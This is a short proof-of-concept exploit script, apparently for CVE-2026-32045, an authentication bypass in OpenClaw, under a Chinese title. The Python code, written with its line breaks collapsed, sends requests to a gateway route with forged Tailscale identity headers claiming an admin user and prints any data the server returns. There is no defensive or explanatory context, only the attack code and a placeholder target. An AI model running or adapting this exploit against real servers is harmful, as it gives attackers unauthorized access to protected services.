CVE-2026-32045 OpenClaw认证绕过漏洞

import requests def exploit_openclaw(target_url): """ PoC for CVE-2026-32045: OpenClaw Authentication Bypass Demonstrates accessing HTTP gateway routes without tokens by spoofing Tailscale headers. """ # Vulnerable endpoint example route = "/api/gateway/status" full_url = f"{target_url}{route}" headers = { "User-Agent": "Tailscale-Exploit-Scanner/1.0", # Spoofing Tailscale headers to trigger the vulnerable authentication path "Tailscale-User": "[email protected]", "Tailscale-Node-Name": "malicious-node", "Tailscale-User-Login": "admin" } try: print(f"[*] Sending request to {full_url} with spoofed headers...") response = requests.get(full_url, headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential exploit successful! Server responded with 200 OK.") print("[+] Response body:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Request failed with status code: {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": target = "http://localhost:8080" # Replace with actual target exploit_openclaw(target)